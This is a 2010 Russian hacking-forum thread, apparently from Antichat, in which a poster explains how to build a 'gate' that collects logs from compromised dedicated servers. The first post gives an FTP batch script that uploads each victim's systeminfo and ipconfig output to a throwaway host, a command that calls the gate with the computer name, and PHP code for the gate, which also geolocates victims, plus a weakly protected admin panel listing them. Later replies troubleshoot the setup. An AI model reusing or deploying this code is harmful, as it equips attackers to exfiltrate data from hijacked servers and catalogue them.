ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > ИНФО > Статьи
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

[EasyHack] Dedicated Servers - ГЕЙТ
  #1  
Старый 06.04.2010, 20:46
Аватар для |qbz|
|qbz|
Познающий
Регистрация: 25.12.2009
Сообщений: 95
Провел на форуме:
750417

Репутация: 51
По умолчанию [EasyHack] Dedicated Servers - ГЕЙТ

Это продолжение статьи [EasyHack] Dedicated Servers

Сегодня я расскажу как написать простой гейт для логов с дедушки, для чего он нужен и как его использовать.

Задача: накодить гейт на PHP, который бы ловил логи после запуска вышеуказонного батника, парсил бы их итд итп.

Решение:

Чтобы создать все это дело в одном батнике (да да, на деде будет для посылки логов на гейт запущен только батничек) я долго думал, как это реализовать. В конце концов я пришел к выводу, что надо просто заливать на фтп логи (а это логи системной информации и ipconfig - читай описание батника выше) и потом вызывать PHP скрипт который бы данные логи принял, сохранил и сделал все что нашей душе угодно. От теории к делу. Вот что нам потребуется:

1) фтп номер 1 - для слива свежих логов с какого-нибудь деда
2) фтп номер 2 - там будет стоять гейт, который с помощью пхп скрипта берет содержимое логов (по http) и добавляет к себе в базу.

Обьясню зачем нам нужно 2 фтп, а не один для гейта. Дело в том, что батник, хоть он и упакован каким нибудь УПХ с паролем итд итп - все равно не спасет от того чтобы из данного батника выдернуть логин и пасс к фтп. Из этого следует простой вывод - если спалить логин и пасс от фтп, где стоит гейт, то можно этот гейт потерять, соответственно и потерять базу дедов, если есть таковая. Поэтому мы просто регаем фришный хостинг с фтп, и заливаем логи именно туда.

Давайте реализуем сперва эту часть, а потом приступим к другой.

Допустим мы зарегали хостинг
Код:
ftp://abcd:qwer@servachok.com
Делаем фтп сервер для нашего батника:

Код:
o servachok.com
abcd
qwer
cd logs
send c:\windows\system32\infos\systeminfo.txt system.txt
send c:\windows\system32\infos\ipc.txt ipconf.txt
bye
Сохраняем как ftpserv.cmd и добавляем в конце батника (главного, который выше) строку:

Код:
@ftp -s:"%CD%/ftpserv.cmd"
При создании ехе из батника - не забываем добавить в "Include" файл ftpserv.cmd
Вроде с заливкой логов на фтп проблем нет. Приступаем к следующей части. Теперь нам надо:

1) добавить вызов гейта в наш батничек
2) написать сам гейт + админочку

Зачем нам вызывать гейт из батника? Затем что после заливки логов на принимающий фтп нам нужно об этом нашему гейту сказать - мол, давай, лови логи, гейт ты наш дорогой.
Это очень просто: просто добавляем в конец батника данный код:

Код:
@start iexplore.exe "http://servak-pod-adminku.com/gate.php?name=%COMPUTERNAME%"
Теперь пишем гейт на пхп:
PHP код:
<?php
    
if (isset($_GET['name']))
    {
        
//slivaem s podstavnogo ftp sistemnuyu infu deda

        
$add_systeminfo file_get_contents("http://abcd.servachok.com/logs/system.txt");
        
$add_systeminfo base64_encode($add_systeminfo);
        
$write fopen("./logs/".$_SERVER['REMOTE_ADDR']."_sys.txt","w+");
        
fputs($write,$add_systeminfo);
        
fclose($write);
        
        
//slivaem s podstavnogo ftp ipconfig deda
        
        
$add_ipc file_get_contents("http://abcd.servachok.com/logs/ipconf.txt");
        
$add_ipc base64_encode($add_ipc);
        
$write fopen("./logs/".$_SERVER['REMOTE_ADDR']."_ipc.txt","w+");
        
fputs($write,$add_ipc);
        
fclose($write);
        
        
//pishem infu, peredannuyu po http
        //ishem stranu i gorod po ip deda
        
$strana file("http://ip-whois.net/ip_geo.php?ip=".$_SERVER['REMOTE_ADDR']);
        
$i 0;
        for (
$i=0;$i<count($strana);$i++)
        {
            if (
strstr($strana[$i],"<input type=\"submit\" value=\"Узнать информацию о IP\">"))
            {
                
$textf=$strana[$i+5]."\n".$strana[$i+7]."\n";
            }
        }
        
//pishem imya kompa, ip deda, stranu i gorod
        
$add_inf stripslashes(htmlspecialchars($_GET['name']))."\n".$_SERVER['REMOTE_ADDR']."\n".$textf;
        
$add_inf base64_encode($add_inf);
        
$write fopen("./logs/".$_SERVER['REMOTE_ADDR']."_inf.txt","w+");
        
fputs($write,$add_inf);
        
fclose($write);
        
        
header("Location: http://google.com");
    }
    else
    {
        
header("Location: http://google.com");
    }
?>
И файл .htaccess к нему:
Код:
php_flag allow_url_fopen on
При вызове гейта из батника, он примет инфу и откроет гоогле. )

Переходим к админке:
PHP код:
 <html> 
<font face=verdana size=-1> 
<?php
    
function show_ipc($serv)
    {
        if (
file_exists("./logs/".$serv."_ipc.txt"))
        {
            
$ipc=file("./logs/".$serv."_ipc.txt");
            
$ipc=stripslashes(htmlspecialchars(base64_decode($ipc[0])));
            echo(
"<pre>".$ipc."</pre>");
        }
    }
    function 
show_sys($serv)
    {
        if (
file_exists("./logs/".$serv."_sys.txt"))
        {
            
$sys=file("./logs/".$serv."_sys.txt");
            
$sys=stripslashes(htmlspecialchars(base64_decode($sys[0])));
            echo(
"<pre>".$sys."</pre>");
        }
    }
    function 
gf($path
    { 
        
$folder=opendir($path); 
        
$i=0
        while (
$current_file=readdir($folder)) 
        { 
            if ((
$current_file != ".") && ($current_file != "..") && ($current_file != "Thumbs.db")) 
            { 
                
$cf $current_file
                
$cf explode("_",$cf);
                
$cf $cf[0];
                
$items[$i]=$cf
                
$i=$i+1
            } 
        } 
        
closedir($folder); 
        return(
$items); 
    } 

    if (
$_GET['pass']=="12345"
    {
        if ((
$_GET['m']!="ipc") && ($_GET['m']!="sys"))
        {
        
$dediki gf("./logs/"); 
        
$dediki array_unique($dediki); 
        
$i=0
        for (
$i=0;$i<count($dediki);$i++) 
        { 
            
$cur_ded $dediki[$i]; 
            
$info file("./logs/".$cur_ded."_inf.txt"); 
            
$info base64_decode($info[0]); 
            
$info explode("\n",$info); 
            
$name $info[0]; 
            
$ip $info[1]; 
            
$strana strip_tags(trim($info[2])); 
            
$gorod $info[3]; 
            echo(
"<div style=\"margin:10px;border-top:2px black solid;padding:5px;border-left:2px black solid;padding:5px;border-bottom:0px;border-right:0px;\">"); 
            echo(
"<font color=gray>Computer Name:</font><font color=black> ".$name."</font><br>"); 
            echo(
"<font color=gray>IP of DS:</font><font color=black> ".$ip."</font><br>"); 
            echo(
"<font color=gray>Geo:</font><font color=black> ".$strana.", ".$gorod."</font><br>"); 
            echo(
"<a href=\"./adm.php?m=sys&pass=" $_GET['pass'] . "&d=" $cur_ded "\" target=\"_blank\" style=\"color:blue;margin-right:20px;\">System Info</a>"); 
            echo(
"<a href=\"./adm.php?m=ipc&pass=" $_GET['pass'] . "&d=" $cur_ded "\" target=\"_blank\" style=\"color:blue;margin-right:20px;\">IP Config</a>"); 
        }
        }
        if (
$_GET['m']=="ipc")
        {
            
show_ipc($_GET['d']);
        }
        if (
$_GET['m']=="sys")
        {
            
show_sys($_GET['d']);
        }
    } 
    else 
    { 
        
header("Location: http://google.com"); 
    } 
?> 
</font> 
</html>
Вызов админки идет примерно так:
http://servak-pod-adminku.com/adm.php?pass=12345

В ней у нас будут рассортированы дедики...

Любые добавления / пожелания / моддинг данного гейта,админки - приветствуется.

Последний раз редактировалось |qbz|; 17.04.2010 в 19:38..
 
Ответить с цитированием

  #2  
Старый 15.04.2010, 16:02
Аватар для |qbz|
|qbz|
Познающий
Регистрация: 25.12.2009
Сообщений: 95
Провел на форуме:
750417

Репутация: 51
По умолчанию

лол, сейчас смотрел статью и увидел, что забыл в прошлый раз запостить код админки! ну я даю.. ) вобщем теперь там и админка.
 
Ответить с цитированием

  #3  
Старый 15.04.2010, 18:11
Аватар для Cecil B Demented
Cecil B Demented
Новичок
Регистрация: 13.11.2006
Сообщений: 16
Провел на форуме:
114200

Репутация: 3
По умолчанию

Поскуднел ачат, поскуднел
Палевно слишком эта суета вся.
 
Ответить с цитированием

  #4  
Старый 17.04.2010, 19:39
Аватар для |qbz|
|qbz|
Познающий
Регистрация: 25.12.2009
Сообщений: 95
Провел на форуме:
750417

Репутация: 51
По умолчанию

админка пофиксена, корректно выводит инфу
 
Ответить с цитированием

  #5  
Старый 24.04.2010, 03:48
Аватар для xxxBARTONxxx
xxxBARTONxxx
Познающий
Регистрация: 11.10.2009
Сообщений: 84
Провел на форуме:
1003859

Репутация: 0
По умолчанию

почему то у меня логи на фтп не приходят, создал два файл
info.bat
Цитата:
mkdir c:\windows\system32\infos
dxdiag /t c:\windows\system32\infos\systeminfo.txt
ipconfig>c:\windows\system32\infos\ipc.txt
start explorer.exe c:\windows\system32\infos\
@ftp -s:"%CD%/ftpserv.cmd"
и
ftpserv.cmd
Цитата:
o 1234.20ehost.com
1234
qwerty
cd logs
send c:\windows\system32\infos\systeminfo.txt system.txt
send c:\windows\system32\infos\ipc.txt ipconf.txt
bye
положил оба файла на диск С:\ запускаю info.bat, но логи не приходят, может хостинг хреновый?
 
Ответить с цитированием

  #6  
Старый 24.04.2010, 14:56
Аватар для |qbz|
|qbz|
Познающий
Регистрация: 25.12.2009
Сообщений: 95
Провел на форуме:
750417

Репутация: 51
По умолчанию

dobav k info.cmd

Цитата:
@start iexplore.exe "http://servak-pod-adminku.com/gate.php?name=%COMPUTERNAME%"
 
Ответить с цитированием

  #7  
Старый 25.04.2010, 03:27
Аватар для xxxBARTONxxx
xxxBARTONxxx
Познающий
Регистрация: 11.10.2009
Сообщений: 84
Провел на форуме:
1003859

Репутация: 0
По умолчанию

я имею в виду логи на первый ftp (фтп номер 1 - для слива свежих логов с какого-нибудь деда) не приходят!
 
Ответить с цитированием

  #8  
Старый 25.04.2010, 13:46
Аватар для |qbz|
|qbz|
Познающий
Регистрация: 25.12.2009
Сообщений: 95
Провел на форуме:
750417

Репутация: 51
По умолчанию

Цитата:
o 1234.20ehost.com
1234
qwerty
cd logs
send c:\windows\system32\infos\systeminfo.txt system.txt
send c:\windows\system32\infos\ipc.txt ipconf.txt
bye
значит проверь:

правильный ли адрес фтп-сервера, правильный ли логин/пасс от фтп,существуют ли файлы сис-инфы и айпиконфига, есть ли на фтп папка "logs", стоят ли на папке logs chnod 777

chmod реализуется на пхп таким скриптом:

Цитата:
<?php
chmod("./logs/",0777);
?>
из хостингов советую попробовать (у меня самого другой) freehostia.com

Последний раз редактировалось |qbz|; 25.04.2010 в 16:36..
 
Ответить с цитированием

  #9  
Старый 25.04.2010, 20:29
Аватар для [i]nspire
[i]nspire
Новичок
Регистрация: 25.04.2010
Сообщений: 13
Провел на форуме:
34351

Репутация: 2
По умолчанию

всё так запутанно /:
 
Ответить с цитированием

  #10  
Старый 10.05.2010, 18:08
Аватар для mazaxaka
mazaxaka
Участник форума
Регистрация: 16.02.2008
Сообщений: 177
Провел на форуме:
883446

Репутация: 82
По умолчанию

1. загрузка файлов на фтр не пашет. пишет не верные команды
2. загрузил файлы на фтп в ручную . сделал запрос на гейт . захожу в админку просто белый екран
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
[EasyHack] Dedicated Servers |qbz| Статьи 20 03.05.2010 01:21
Dedicated Servers дёшего, быстро, качественно, надёжно BlackBoy Хостинг, Dedicated, VDS, Сервера - Покупка, продажа 0 28.02.2010 18:04
Продажа Dedicated Servers Max_2010 Хостинг, Dedicated, VDS, Сервера - Покупка, продажа 0 08.02.2010 21:05



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ